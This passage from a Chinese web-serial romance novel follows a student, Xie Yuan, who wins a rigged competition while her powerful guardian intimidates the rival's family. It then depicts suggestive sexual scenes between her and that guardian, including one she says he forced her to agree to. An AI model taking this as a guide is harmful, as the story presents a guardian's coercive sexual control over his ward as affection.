谢沅怎么会有那样的眼神?
楚令仪的喉间滞塞,她顿了顿,旋即又挂上笑容:“我只是见你眼熟,想跟你打个招呼,怎么不理我?”
她身着长裙,姿态典雅。
仅仅是打扮就和参赛的一众学生拉开了差距,瞧着像是一位尊贵的大小姐。
“我们有什么好说的?”谢沅声音很轻,“有事情的话,可以让林家联系沈氏集团的法务团队。”
她抬起水眸,眼睛一眨不眨地看向楚令仪。
谢沅在说什么?什么沈氏?
她的声音轻轻的,低到刚好能让她们二人听到,楚令仪的脸上却满是愕然和惊色。
但时间不巧,两人还没能说更多,就该轮到楚令仪上场了。
谢沅靠坐在小沙发上,轻轻阖上眼眸-
听起来好像是小事,只是学生间传的谣言,但涉及到谢沅的,那就没有一件事是小事。
在沈长凛身边待过的人,就没有不明白这个道理的。
秦沈两家可就这么一位大小姐,被放在心尖尖上疼宠,仔细地娇养多年。
哪里能在外面,反倒受了委屈?
听完两个姑娘的话后,陈秘书就拨通了李特助的私人电话,低声将事情的来龙去脉说予他。
他顿了顿,补充道:“生事的人和林家有些牵扯。”
李特助本就动怒,听到和林家有牵扯后,声音里都带着寒意:“好。”
他们通完电话,也就轮到谢沅上台了。
陈秘书脸上的冷色渐渐褪去,又恢复了惯常的平和宽容,他推开门走回到会场里。
镁光灯下,谢沅的容色仍是那样柔美。
但此刻的她,又是那样的耀眼夺目,方才还有许多人在赞许楚令仪的风采,在谢沅上场后,那些声音都静止下来了。
谢沅的笑容清浅,言辞流畅。
她站在台上时跟平常很不一样,总要更引人瞩目一些。
或许就是太引人瞩目了,才会遇到这种事,陈秘书很早之前就进了沈氏,但是后来才到的沈长凛身边。
谁人不知,沈总对家里的大小姐有多疼?
原本还在动怒的男人,接到家里孩子的电话,容色忽然就和缓下来了,柔声细语地跟她说事情。
被这么娇惯的女孩,很少有不性子骄纵的。
但是谢沅却不是这样的,她安静寡言,几乎从不主动讨要什么,后来上了大学,也从不张扬处事。
以至于在学校里,都没人知道她是沈家的大小姐。
陈秘书的眼底也渐渐染了暗意,事到如今,他算是能明白那日谢沅差些被绑架时,李特助为什么会动那么大怒了。
自家的孩子,放在心尖上疼还不够,任谁也舍不得见她受半点委屈。
谢沅对这一切尚且一无所知。
她掌心沁汗,直到演说完后紧绷的身躯才渐渐放松。
今次叙说的内容很繁多,评委们的问题也很多,一个接一个地来,连坐在最侧边的评委也直起身,兴致勃勃地开始提问。
前面已经有好几个队伍出场了,但还没有一个队伍受到如此隆重的对待。
镁光灯闪烁的声音此起彼伏。
无数人的视线都聚焦过来。
谢沅的额前覆着层薄汗,她的胸腔微微起伏,但声线却很平稳,认真大方地回答了一个又一个的问题。
终赛的评委水平都很高,比初赛时的那些评委问题还要更精准锐利。
当她回答完的时候,评委们脸上都露出了笑意。
谢沅握着话筒,在下场的时候向着众人鞠了一躬,那一刻全场都响起了掌声。
她的脸颊滚烫,心脏也剧烈地跳动着。
直到下场之后谢沅才体察到了那种快乐的感觉。
她真的做到了。
冯茜和余温一把抱住她,连声称赞道:“沅沅,你刚刚表现得太好了!我们冠军肯定稳了!”
谢沅的脑中还昏昏的,她脸上带着浅浅的笑意,柔声说道:“我想喝一点水。”
冯茜用纸巾帮她擦了擦额前的薄汗,然后把放在一旁的纸杯递给她:“早都给你准备好了。”
谢沅弯起眼眸,接过纸杯开始喝。
虽然比赛流程很繁琐,而且参加比赛很累,但她这些天真的很高兴。
连方才遇到的那事,都没法扰到她的心情。
谢沅休息过后,就回到了观众席,还有最后一轮比赛就要结束了。
报名比赛的时候,她就听说过奖杯非常精致漂亮,没有想到那个闪闪的银色大奖杯,或许真的要成为他们的了。
谢沅心情很好,陈秘书见她过来也弯起唇角,神色如常地给她看照片。
下午的比赛激烈,许多人宁愿站着也要去前排,中后排反倒宽松了许多。
那些人将话说得太难听了,谢沅不想把事情告诉陈秘书,更不想让沈长凛知道这件事,跟楚令仪言说时,她摆出了沈家的名号。
但她其实一点都不想麻烦他们。
以前沈长凛帮她处理过类似的事,那时候谢沅刚上大一,还很懵懂。
她不知道结果是什么,她只是再也没有见过那些人。
情绪下去后,谢沅也没有那样生气了。
她抿了抿唇,这件事情虽然很讨厌,但其实并非是什么大事,而且有冯茜和余温的帮助,她们自己也能处理好的。
于是她就一直假装很平静,和陈秘书看了许久的照片。
等到第四轮最后两个队友上台的时候,谢沅自己也试着帮他们拍了照片。
他们的表现也非常好,第四轮的流程既复杂又绕,很折腾人,这一轮评委的问题也极其尖锐,特别考验随机应变的能力。
谢沅看着他们在台上侃侃而谈,心都快跳到了嗓子眼里-
好在一切都很顺利,当比赛的流程全部结束时,谢沅激动的情绪才渐渐平复下来。
她的脸庞泛红,水眸也亮亮的。
余下的时间就是等候最终的分数和结果了,会场里也嘈杂热闹起来。
陈秘书出去接电话,谢沅坐在位子上和队友们继续聊天。
“我这次一滴酒都不要再喝了,”她摇着头说道,“颜色再好看的酒我都不要喝。”
沈宴白很喜欢喝酒,家里的酒柜放的都是他特意珍藏的名酒。
沈长凛对此也很有讲究,但他很少喝酒。
唯有谢沅几乎没沾染过酒。
她看着高脚杯里颜色鲜丽的酒水,还以为是饮料,结果才喝了少许,就深深地醉过去了。
余温揽着她的肩头,笑得要仰倒。
“上次的事,太不好意思了。”余温笑着说道,“下回我一定跟你说清楚,绝对不让沅沅喝错。”
冯茜也抿唇一笑。
临近傍晚,炽热的残阳无声地照了进来。
赛程漫长,可依照时间表,五点也该结束了,眼下都已经六点多了,比赛的最终结果还没有出来。
几人前去问询,顾及到谢沅腼腆的性子,没让她一起过去。
谢沅站在廊道边,抬眸看向外边金红色的天空,正出神时,耳边忽然传来两人对话的声音。
冤家路窄。
是楚令仪和她的男友。
两人踏着阶梯向上,楚令仪手里捧着花,亲吻了一下身侧男友的脸颊:“这回真是多谢你父亲了,我还以为冠军要没了呢。”
她的声音里都是喜悦,还带着点娇媚。
“唉,我舅舅本来是要来的,”楚令仪有些委屈地说道,“但今天偏偏有事来不了,真麻烦你了。”
她身侧的青年浪荡地应道:“都是小事。”
谢沅的血却在那个瞬间就冷下来了。
上次初赛的时候,余温就言说他们的第一可能是被人拿走了。
这次的比赛流程很严谨,初赛复赛终赛,而且还有足足四轮,过程也全有录像,没想到竟然还会出现这种事。
谢沅背过身,面容隐匿在阴影里,心不断地往下落。
他们的冠军可能真的拿不到了。
谢沅攥紧手指,已经缓和下来的心情,再度变得很坏很糟糕。
她常年待在这个圈子里,也知道是会有这种事情的,但直面的时候,还是会忍不住地感到生气和难过。
手机就放在谢沅的西装口袋里。
她很清楚,只要给沈长凛打一个电话,简单说两句,他就能帮她解决这个问题。
楚令仪跟林家有牵扯,可哪怕是林家的话事人到了沈长凛跟前,也只有恭敬俯首的份儿。
但直到楚令仪挽着男友彻底离开,脚步声渐渐变轻,谢沅也没有打开屏幕。
她紧抿着唇,抬起眼眸。
谢沅侧身走回到会场里,她是可以那样做,但如果那样做的话,她和他们又有什么区别?
她的呼吸有些凝滞,坐回到席位里时长睫也低垂着。
要是刚刚能表现得再好一点就好了,谢沅忍不住地这样想。
如果他们的分数能够超出第二名非常非常多,他们是不是就没办法了呢?
没多时几位队友也回来了。
谢沅今天的心情本来就不好,这事哪好叫她再知道?
连余温也没有表露出明显的情绪。
她坐在谢沅身边,拍了拍胸脯:“之前说那话是想激励大家,今天无论咱们拿到什么名次,我都请客!”
谢沅勉强地笑了一下,说道:“那我要每种果汁都上一份。”
余温拍了拍她的肩头,笑骂道:“怎么这么狠啊,沅沅?”
冯茜和另两个男生也被她的话给逗笑了,连声说道:“好好好,我们赞成。”
站在冯茜身边的男生笑着说道:“余老板都说请客了,给我们沅沅多喝点果汁怎么了?”
眼下的氛围实在太好了。
谢沅的眼眶有些酸,虽然没能画上圆满的句号,但和这些朋友们一起参加比赛,她真的很高兴。
几人正说笑着,最终的比赛结果也出来了。
楚令仪站在另一边,手里捧着花,靠在男友的身边,轻轻地抛来一个目光。
这是昭然的挑衅。
如果说中午的事还只是苗头,两边人这回算是彻底撕破脸了。
冯茜拉住余温的手臂,才按下了想要暴起的她,这么重要的比赛都能操纵结果,只能说楚令仪的背景着实不简单。
这时候就是冲上去揍她一顿,也改变不了结果。
毕竟是没有证据的事,就像上次,哪怕明知对方跟评委有牵扯,也没有任何办法。
不过楚令仪暗里中伤谢沅的事,他们都不打算放过。
谢沅端着水杯,继续喝水,她一点都不想听名次了,心里闷闷的,还是觉得难受。
但宣布冠军的那一刻,主持人喊出来的却是他们队伍的名字。
谢沅愣愣地抬起眼眸,满脸都是难以置信,冯茜和余温等人也纷纷睁大了眼睛。
楚令仪更是陡地将手边的玻璃杯给打碎。
她瞠目结舌地说道:“这不可能……”
谢沅恍惚了好久,聚光灯全都落到了他们这里,主持人第二遍念出他们队伍名字的时候,她才如梦初醒,起身准备上台领奖。
她太懵然了。
楚令仪都使出了林家和男友家的关系,为什么他们还是拿到了冠军?
捧起那座银光闪闪的奖杯时,谢沅还是没有实感,她站在领奖台上,喉间干涩,正觉得无措时,忽然抬眸和那恰巧走进会场的男人对上了视线。
陈秘书带着笑容,低头请那男人进来。
他身形高挑,形貌俊美,举手投足都带着矜贵的气度,仅仅是走进会场,就吸引了无数人的目光。
是沈长凛。
他抬起眼帘,平静地看向谢沅。
明明隔着那么遥远的距离,她还是看清了他唇边的淡笑,不是说今天事情很多吗?为什么还是过来了?
谢沅捧着冠军奖杯,眼眸忽然有些发红。
20-30
第21章
音乐声嘈杂,他们站在台上,离音响太近,几乎有点震耳欲聋之势。
谢沅的心脏怦怦直跳,耳尖也透着薄红。
还好今次没有发表获奖感言的环节。
从评委手中接过证书后,整个赛程就要结束,全场人的目光都落在他们身上,鼓掌和欢呼的声音此起彼伏。
谢沅下台的时候,人还是恍惚的。
沈长凛虽然很低调地站在后方,但还是有很多视线敏锐的人瞧见了他。
今次到场的有许多商界巨擘,谁还能没听说过他的名字呢?
沈长凛笑容温柔,神情淡漠,目光只落在谢沅身上,她被朋友们围着,脸庞却仍是红得透透的。
她脸皮薄,脸颊烧起来的时候,连眼尾都透着湿红。
谢沅正羞怯时,负责摄影的人突然抓拍了一张。
她没有留意到,视线却再不敢往沈长凛身上投,害怕会露出端倪。
余温紧搂住谢沅,激动地说道:“奖杯就放在沅沅家吧!之前初赛要不是你这个大功臣,我们说不定连决赛都进不来呢。”
谢沅满脸绯红,弱声推辞。
但冯茜并两个男生也连连点头,冯茜更是一把将那座闪闪发亮的银色奖杯塞进了谢沅怀里。
奖杯实在是太大了。
谢沅两只手才勉强抱住,她推脱不过,很不好意思地接过来,细声说道:“我一定会好好保存的,如果你们想看的话,也可以随时来我家看。”
众人笑作一团,走回到观众席后,才想起小陈叔叔。
陈秘书笑眯眯地走过来,抬手摇了摇相机:“照片已经全都发给你们了。”
余温高兴地说道:“小陈叔,你真是太好了!”
只有谢沅一脸懵然,好奇他们什么时候加上的联系方式。
今天晚上他们本来是要聚餐的,但比赛结束得迟了很久,众人也都累得不行,于是走出会场后,决定还是下回再聚,今晚就先回家好好休息。
余温拍着胸脯,坚定地说道:“到时候还是我请客!”
谢沅站在陈秘书身边,弯了眉眼,柔声说道:“好。”
她捧着大大的奖杯,和众人分手告别。
眼看几人坐上电梯离开,谢沅没有立刻就走,她站在电梯间,疑惑地回头看了看:“叔叔呢?”
陈秘书笑说道:“沈总让我们先下去,他待会儿就过来。”
谢沅不做他想,笑着点了点头。
然后便随着陈秘书下楼-
接到舅舅电话的时候,楚令仪的脸色都是惨白的。
她的嘴唇发抖,被骂得狗血淋头,也一句话都不敢多说。
“是……”楚令仪颤声说道,“我知道……我知道,舅舅。”
她母亲是林家的旁支,跟主支的这一位关系其实不算亲近,她其实没法直接唤那人为舅舅,但到底在血脉上有牵连,而且她在燕大的优秀也是人尽皆知。
舅舅愿意给她这个善缘,她当然要死死地抓住。
只是楚令仪没有想到,不过是一个小小的比赛,竟然会捅出这么大的篓子。
她强撑着身躯,膝盖才没有发软,狼狈地倒下去。
比楚令仪脸色更难看的是她的男友王显。
方才就是王显恳请父亲,让他帮忙操纵一下比赛的结果,谁能想到都已经板上钉钉的事,竟还是出了岔子?
楚令仪在燕大是恣意惯了的人。
同学中也有家世不错的,但鲜有如她这般不错的。
楚令仪本就是处事无所顾忌的人,惯常也会打压胜逾自己的人,在学生会里她也是最亮眼的存在。
对她来说隐瞒身份,跟锦衣夜行没有任何区别。
楚令仪虽然张扬,但行事也算小心,要弄谁的时候,会仔细地查一查他们的背景。
可她无论如何也没想到,那个柔弱寡言的谢沅,竟然会是沈家的大小姐——
燕城的权贵里,就没有几家能比得过沈家的。
那是真正的簪缨世家。
林家已经可以说是豪门,但跟沈家相比,全然就是蝼蚁中的蝼蚁。
楚令仪想起之前校内论坛的一个帖子,言说沈家大少沈宴白开着超跑来接人,那帖子没多时就盖了高楼,但没影的功夫就消失得无影无踪。
他那样的身份,闲来无事到燕大做什么?
那时只是好奇,现在再回想起来,楚令仪只觉得牙关都透着寒意。
沈宴白还能来做什么?当然是来接妹妹的。
再想起在候场室时跟谢沅的对话,楚令仪更是惧得浑身颤抖。
这一回她可真是捅了个天大的篓子。
楚令仪脸上一丝血色都没有,但两边的人都到得极快,舅舅惯来从容不迫的脸上尽是怒色,王显的父亲更是脸色铁青。
跟着的随扈也皆是战战兢兢。
可内厅里的那人,脸上却偏生没有怒意。
他平静地靠坐在沙发上,神情中几乎是带着点漫不经心了。
沈长凛轻扫了一眼门外的两拨人,淡声说道:“进来吧。”
他的声音很轻,柔得像风一样,但无论是林家的人,还是王家的人,脸上皆是涔涔的汗意。
王显是第一次见到这位传说中的人物,腿软得差点就要跪下来,还是他父亲暗里掐了一把他的胳膊,才没让他出大丑。
沈家大少沈宴白是很有名的人,媒体津津乐道他的一众女友。
他风流桀骜的形象也广为人所知。
可对于沈家真正的掌权人沈长凛,媒体就讳莫如深了。
楚令仪也仅仅是有所耳闻,他位高权重,他温柔淡漠,甚至有人说他十分俊美,是不折不扣的名门贵公子。
然真正见到沈长凛她才明白传闻是多么虚幻。
眼前的男人即使容色平和,言辞轻柔,那强烈的威压亦能将人逼得抬不起头来。
压迫感没有声息,但能将人往尘埃里碾去。
会场酒店的负责人很快也到来,恭敬地站在门前唤道:“沈总。”
沈长凛淡淡地“嗯”了一声,令他进来。
楚令仪脑中灵光突现,猛地意识到终赛为什么会定在这家过分奢华的酒店,他们都以为是主办方的缘故。
现在想想,其实不过是沈家希望大小姐能待得舒服些。
精心娇养的孩子,哪里舍得她受苦受累呢?
“本来都是小事,”沈长凛抬眼,轻声说道,“但毕竟家里孩子费心多日的事,不好拂了她的兴。”
这话看似和柔,实则已经是重到不能更重的话了。
两边人的冷汗都流了满身。
王显父亲的脸色更是白到不能更白,如果不是周边有这么多人,他自己可能也要当场跪下去了。
沈家要是想插手,那可太简单了。
但沈长凛偏偏没有这么做,他的目的根本就不是将谢沅捧上冠军,只不过是想要她参加得尽兴罢了。
他仅仅是在比赛的公正性上轻轻地推动了一下。
可是谁也没有想到,这么一件简单的事,到了终局的时候竟有人要插手。
楚令仪的后背被冷汗浸得透湿,她想起之前初赛的事,高跟鞋一颤,陡地就跌坐在了地上。
那声响和姿态都很难堪,但是无一人敢来扶她。
沈长凛修长的指节叩在桌案上。
他轻笑一声,继续说道:“还有,就是有人说我们沅沅为了钱,攀附我的秘书。”
或许是因为太过荒诞,说这话时沈长凛唇边是带着笑意的,但他的笑意未达眼底,色泽略浅的眸里只有一片冰冷。
楚令仪本就惧怕万分,听到这话的时候,紧绷的神经几欲断裂。
她的喉咙颤抖,拼命地想要为自己辩解,但仅仅是对上那男人的视线,就一个字都要说不出来了。
她终于是明白何为真正的权势碾压-
谢沅坐在车里,她一手抱着奖杯,一手翻动屏幕。
余温很喜欢发社交平台,而且总还有很多人转发,转着转着就传到了圈子里,没多久谢沅手机里的消息也快要爆炸了。
【哇塞,沅沅你今天打扮太好看啦。】
【恭喜小谢妹妹!过两天来瀛洲这边玩吗?我们给你庆祝一下吧。】
【不愧是我们沅沅!实在太棒了。】
之前初赛时就有很多人过来发消息,这次人更是多到谢沅回不及。
也不知道是不是在哪个群里传开了,到后面她是完全回不动了,不得不发了个社交平台,言说谢谢大家。
谢沅的指尖都微微发疼时,沈长凛方才回来。
他也不知道干什么了,在会场待了好久才过来,根本不是陈秘书所说的“待会儿”。
不过谢沅已经习惯,沈长凛事务繁忙,今天他能过来看她,她就已经很惊喜了。
她抬起眼眸,柔声唤道:“叔叔。”
沈长凛轻轻“嗯”了一声,然后把谢沅怀里的奖杯放到一边,将人揽了过来。
“刚才有点事,”他漫不经心地说道,“没有等急吧?”
谢沅摇了摇头,眉眼弯起:“没有,叔叔,刚刚好多人给我发消息,我回了好久。”
她的眸里还带着天真的笑意。
“这些天,沅沅辛苦了。”沈长凛俯身,唇角微扬,“今晚开始,就好好休息一下吧。”
轿车缓缓行驶,挡板也落了下来。
谢沅没有反应过来,腰身就被攥住了,后腰抵在冰冷的奖杯上,慢慢地变柔软,倾折到近乎快断裂的弧度。
将养了多日的白皙,再度落下深红浅红,如涟漪般蔓延开。
到家的时候,她已经没有力气了,是被沈长凛打横直接抱下来的。
被抱回到卧室时,谢沅有一种溺水的错觉。
她的樱唇张开,竭力地吸着气,但吐息却越来越艰难,哭腔泄出来的时候,谢沅无措地厉害,她拼命地想要浮出水面,却被扣住伶仃的踝骨,拽向更深的深水里。
干涸多日的沙地,潮水漫涌。
比之往先还要更加浸润。
将近十一点的时候,趁着沈长凛去接电话,谢沅才得以从楼上下来,夜色已经幽深。
他知道她脸皮薄,没让阿姨再做晚餐,给她在外面点的餐。
是谢沅很喜欢的私厨。
沈长凛注重她的健康,平日里更喜欢让她在家里用餐,但这种时候,自然是要尽可能地哄着孩子。
见谢沅悄悄下楼,他也没说什么。
只是在通电话时,沈长凛的声音里明显地染上了少许笑意。
家里的冷气开得很足,谢沅没力气再换正经衣裙,穿好吊带和短裤后,她套了件外套就下了楼。
兜帽没有摘,上面有两只兔子耳朵。
谢沅的小脸很白,所以眼眶红起来时格外明显。
水眸大大的,氤氲着一层雾气。
她踩着兔子拖鞋,小步快走地从楼上下来,一双漂亮的水眸全盯在了岛台上放好的吃食。
比起下午参加比赛时的耀眼夺目,在家中时的谢沅还是那么柔弱,瞧着像朵菟丝花,连鞋子都是软绵绵的。
纤细的脚踝和小腿露出,白得像雪一样。
熟悉沈宴白的人都知道,他喜欢有脾气的女孩,哪怕骄纵一点也无妨,他最没兴致的就是乖顺没趣的姑娘。
如果再娇弱一点,即使生得再好,他也不会多看一眼。
可是眼下,站在门边目光晦涩的人也是他。
谢沅执着餐叉,大快朵颐片刻后才倏然注意到沈宴白,她紧忙起身迎他进来。
沈宴白似乎是刚刚才回来,身上还带着外间的冷意。
她站在他身边,迟疑地问道:“哥哥,你……用晚餐了吗?”
谢沅的脸庞微扬,水眸天真地望过来。
方才哭得太厉害,眼尾的湿红还没有褪尽,她看起来无辜柔弱,却能在瞬间唤醒男人心底最深的恶欲。
沈宴白的眸色晦暗,谢沅有一瞬间的愣神,他不会看出来她不想跟他分享了吧?
不行,这太不礼貌了。
沈宴白深夜才回来,哪怕是用过晚餐,现在应当也累了。
“要再用一点吗,哥哥?”谢沅鼓起勇气说道,“是叔叔订的餐,他们家的饮品很好喝。”
她有点忐忑,哥哥之前在滨城多年,口味很清淡,后来又在国外读书,相比传统中餐,一直更喜欢法餐和意餐。
他未必会喜欢她偏爱的吃食。
谢沅看着沈宴白沉默了片刻,还以为他是烦心,不想搭理她。
但须臾他轻轻点了点头,说道:“好。”
沈宴白的心情好像不太好。
谢沅愣了一瞬,踮起脚去给他新的筷子和餐叉,她很少自己拿餐具,每次都是阿姨提前摆好的。
柜子有点高,她没能立刻够到。
当谢沅踮起脚试了几次都失败,有些尴尬地想让沈宴白自己过来时,身后忽然袭来了少许热意,他个子很高,抬起手就拿到了新的餐具。
她呼吸微滞,脑中有一瞬间的空白。
沈长凛站在二楼时,瞧见的就是两人身躯相近,几欲重叠的情形。
第22章
谢沅初到沈家的时候,才只十五岁,青春期的少女心思敏感细腻。
但其实沈宴白也没有长她很多,正值叛逆的年岁。
而且他本就是桀骜不驯的性子。
见到谢沅的第一面,沈宴白就直接地表现出了对她的不喜和厌烦,两人云泥之别,虽在同一个屋檐下,却不会任何交集。
她害怕沈长凛,他位高权重,是她既敬又畏的长辈。
其实在那时候,谢沅也怕沈宴白。
她从小到大都没有见过他这样的人,他太耀眼了,像太阳一样,明亮到会令人感到无措。
哪怕谢沅在林家时,也没有遇见哪个哥哥像他这样的。
她小心地避着沈宴白,极力不去讨他的嫌,在学校的时候,也从来不表露出分毫与他相识的迹象。
毕竟他是真的很不喜欢她。
谢沅也设身处地想过,如果有一个陌生的孩子,要来到她的家里,分夺她爸爸妈妈的爱,她应该也会很难过。
所以她从来没有怨过沈宴白。
她的存在本身,本来就是会令人厌烦的。
事情发生转变是在那一年的郊游,学校组织去爬山。
谢沅没有爬过山,她的世界是枯燥的、乏味的,沉闷到没有事情可以和别人讲。
临行前沈长凛特意吩咐人给她备了很多器具,但意外还是发生了。
攀登至半山腰时,忽然下了大雨。
天气预报说近来都是晴天,所以学校才会组织郊游,那场雨来得猝不及防。
同学都时常随着亲友出游,单是谈起攀登,就能滔滔不绝地说上许多,见到暴雨突至,也丝毫不慌乱,有条不紊地准备向下。
谢沅站在山边,苍白的脸庞被雨水淋湿。
她不敢下去,她也不敢告诉旁人。
谢沅性子很慢热,在学校许久也没能和同学熟络起来,她无措地站在原地。
身畔的人越来越少,要是再不下去的话,雨势只会越来越凶。
她鼓起勇气竭力地向下踏出第一步。
谢沅的勇气是提起来了,但她忘记了,下过雨后原本平整的路面也会湿滑,更不用说是陡峭的山地。
意外就发生在那么一瞬间。
跌落的时候,踏空的感觉猛然袭来。
一阵眩晕过后,膝上的剧烈疼痛就刺透了神经。
谢沅的双膝全都擦破了,鲜红的血骤然就流了出来,她想起那个混乱的下午,被刀刃划破掌心后滴下来的大片血红,突然进入了应激的情绪里。
她无法控制地抱住头,深深地蜷缩了起来。
身边的人并不多,见到此情此景都吓坏了,但到底是一群十来岁的孩子,除却厉声唤“老师”外页不知道该怎么做。
那群人就是这时候下来的。
在众人匆忙避雨往下走的时候,偏有一群人漫不经心地淋雨,在山岳的高处赏看、大笑,极尽张扬和恣意。
沈宴白站在人群的最中央,神情散漫,唇角勾起。
直到看见跌倒流血的谢沅。
那个无论言行都昭然不喜欢她的人,在她最绝望的时候,一把将她从地上抱了起来。
沈宴白的言辞并不温柔,他呵斥道:“下雨了还不知道赶紧下去!”
他满脸怒容,背住她的手却是那么稳。
谢沅伏在沈宴白的肩头,哭得泣不成声,那是他们第一次亲密接触,也近乎是最后一次。
很久以后,这段混乱的往事还是会常常到访她的梦境。
谢沅紧抿着唇,在后背抵上沈宴白的胸膛时,再度地想起这段早已泛黄的旧事,实在是太久远了,他应该早就忘记。
餐叉是银质的,碰撞在一起会发出很清越的声响。
沈宴白拿过餐具,低眸看向谢沅的眼睛,她微微仰头,视线刚好和他撞在一起。
明明已经拿到餐具了,为什么还不赶快离开呢?
他不太喜欢跟她一起的。
手伸得久了,谢沅的小臂也开始泛酸,但沈宴白个子太高,近乎要将她给笼罩起来,让她没法将手收回来。
他的喉结滚动,似乎是想说点什么。
可下一瞬,沈宴白就像被烫到似的抽离,他薄唇微抿,低声唤道:“叔叔。”
听到他的话语,谢沅的身躯也颤了一下。
她站在深色的餐柜旁,仅仅穿了短裤,露出腿部大片雪肤,柔白得近乎在发光。
沈长凛的容色如常,轻声问道:“什么时候回来的?”
他的神情温柔淡漠,眼眸中也没什么晦暗的情绪。
但谢沅却不敢看向沈长凛,她的掌心沁汗,单薄的肩头微微颤抖,无意识地错开他的目光。
她知道这时候应该更坦然些的,毕竟方才沈宴白只是在拿餐具。
“刚回来不久,”沈宴白低声说道,“劳烦您挂心了。”
他比她要自然太多,随意地拉开椅子落座,执着餐叉就夹走了谢沅最爱吃的蟹粉团子。
沈宴白想得太多了,这才不是给他准备的。
谢沅眼睁睁地看着他动作优雅又快速地用餐,心底突然什么想法都没有了。
她的情绪总在脸上,那么明显。
沈长凛低笑一声,眼中也带着笑意,拉过谢沅身边的椅子,平静淡然地落座。
“胃疼好些了吗?”他轻声说道,“如果难受的话,明天在家休息吧。”
谢沅被折腾得狠了,腹中早已空空,执着餐叉,难得用餐快了很多,腮帮子鼓鼓的,吃得很专心,连樱唇边沾了少许酱料都未意识到。
“不用,叔叔。”沈宴白低垂眼帘,“早先就已经好了。”
他是强势的人,连在亲叔叔跟前,也不愿示弱。
再说沈宴白早已习惯偶尔的病痛。
他虽然这么说,但沈宴白是什么人,沈长凛还能不了解吗?
“好了。”沈长凛轻声说道,“这次的事结束后,稍微休息一段吧,承月当初都没你这样。”
沈宴白跟秦承月关系好,私交向来不错。
但与此同时,他们也是一直被比较的对象,尤其是在沈宴白回国之后。
他端着杯盏,薄唇微抿,最终没有忤逆沈长凛的安排,轻轻点了点头:“嗯。”
谢沅不懂商业上的事,也没空去思索他们说的事情。
她吃得很专心,执着汤匙认真地吃灌汤的小包子。
明明已经送过来有一段时间了,汤汁却还是那么烫,谢沅把薄薄的皮咬破,尽管已经做了准备,还是被烫到了嘴唇。
她控制不住地吸了一口气,眼眸瞬时染上水意。
如果是一个人还好,在沈长凛和沈宴白的跟前,谢沅只想将失礼全都强忍住。
但她还没反应过来,沈长凛就皱着眉掰过她的脸庞,用餐巾纸轻擦过她的唇。
他低声说道:“烫到没有?”
谢沅的水眸摇晃,她捧过沈长凛递来的冷水,浅浅地喝了少许,然后吸着气说道:“没有烫得很厉害,叔叔。”
她的话音含糊,樱唇也透着红肿。
那让沈宴白烦心许久的酱料终于被擦去,但看着她肿起的唇,有一种更烦乱的情绪生了出来。
说不清晰,道不明白。
沈长凛掰过谢沅的脸庞,令她张嘴,指腹抿过她的唇瓣,看清楚她口腔里没有被烫到方才放心少许。
他轻声说道:“慢一点。”
沈长凛的指骨修长,但他的指尖抿过谢沅的唇瓣时,她几乎是克制不住地战栗。
她强忍住,才没将他的手指给含进唇齿间。
谢沅垂下眼眸,乖顺地点头:“嗯。”
沈长凛的动作太自然了,谢沅的反应也太平静了,但沈宴白的心头却忍不住地泛起怪异。
他一直都知道沈长凛很宠谢沅。
可她现今都这个年岁了,还这样疼着是不是过头了些?-
谢沅不知道她是哪里惹到沈长凛了。
那日的事后,他没有多说她一句,但他身体力行地折磨着她。
谢沅咬住唇瓣,身躯深陷在柔软的大床里,唯有肉臀高高地翘了起来,她压抑着哭腔,一句多余的话也不敢说。
目光也不敢望向摄像头。
视频的另一端是摩天大楼顶层的总裁办公室,沈长凛漫不经心地翻看文件,指间掐着的是一支色泽瑰丽的钢笔。
他身边的一切都是冷色调的,唯有这支笔的颜色是浓丽的。
有人问过,沈长凛只是轻柔一笑:“家里孩子送的。”
众人纷纷称赞沈家大少爷的孝顺,他但笑不语,也没多做解释,只有秘书处的人知晓,这是当初大小姐谢沅偷偷兼职多日送的。
她攒了很久的钱,却最后也没能买得起更高雅的深蓝色。
于是这支色泽瑰丽的钢笔,就成了沈长凛办公室里最亮眼的存在。
谢沅眸光涣散,低声呜咽:“我真的不行了,叔叔……”
她的唇瓣被咬得红肿,眼眸也湿透了。
沈长凛看了谢沅一眼,声音温柔:“乖一点,沅沅,我们之前说好的。”
哪里是说好的了?明明是他强迫她答应的。
谢沅一点精力都分不出去做其他事,她眼眸含着泪,手指紧紧地攥着:“那、那再过十分钟就结束,叔叔。”
沈长凛淡淡地“嗯”了一声。
谢沅的卧室是他当初亲自挑选的,后来也是他亲手布置的。
宽大的落地窗外全是青绿,山色浓翠欲滴,让她的眼眸里也似盛着湖光。
谢沅向来很乖,但被仔细娇惯久了,也渐渐会觉察出东西来。
她刚刚自己说的十分钟,可现在也是她自己又想反悔了,于是她反复地去回想近来到底是何处得罪沈长凛了。
想着想着,那个晚上的事就浮现在了脑海里。
谢沅带着鼻音,声音细弱地又解释了一遍,湿润的眼睫低低垂着:“我当时只是客气,没想到哥哥真的饿了,下回不会再这样了,叔叔。”
她低着头,模样很乖。
沈长凛抬起眼帘,唇边含笑:“好了,擦擦眼泪吧,我八点左右回去,晚上订了餐厅,还是你最喜欢的那家私厨。”
真是乍起乍落。
谢沅瞬时就抬起了眼眸,她柔声说道:“好,我等您。”
将脸颊从薄被中抬起后,耳边的声响更加清晰。
谢沅的脸庞滚烫,樱唇紧抿着,但她刚想要说些什么,最后一波浪潮就突然袭了过来,一双冰冷的手紧扣住她的脚踝,将她往深水里拽。
她没法呼吸,已经止住的眼泪全都掉下来了。
谢沅羞得欲死,再也顾不上其他,一把将屏幕给按灭。
沈长凛微怔了一瞬,低声哄道:“没事,沅沅,这是很正常的。”
他的声音轻柔,透过听筒传过来时,仿佛是在她的耳边言语。
谢沅一句都听不得了,她不顾颤抖的腿根,光着脚就匆匆进了浴室,沈长凛看向灭掉的屏幕,低低地笑了一声。
把人逼得太过,似乎有些不好。
但如果不逼一逼,某些人就会想小乌龟一样,只想永远地躲避着。
沈长凛转了转指尖的钢笔,起身走到落地窗边,漫不经心地点了支烟-
谢沅的暑假生活很放松,但在比赛结束后,也确实有些无趣得厉害。
那天的事结束得很快,冯茜和余温还没有准备好讨伐的檄文,楚令仪那边就发了长篇的道歉信,真诚得让谢沅都不敢相信。
楚令仪不知道从哪里弄来了她的联系方式。
谢沅不通过,她就一直在验证消息里道歉。
这场风波来得突然,结束得也十分突然,她还没开始烦恼,就已经消弭了。
近来谢沅唯一的烦恼就是应付沈长凛,想到连日的荒唐,沐浴过后她的脸颊还是滚烫的。
她穿着浴袍,坐在露台边的吊椅秋千里慢慢地晃着。
实在是太过了。
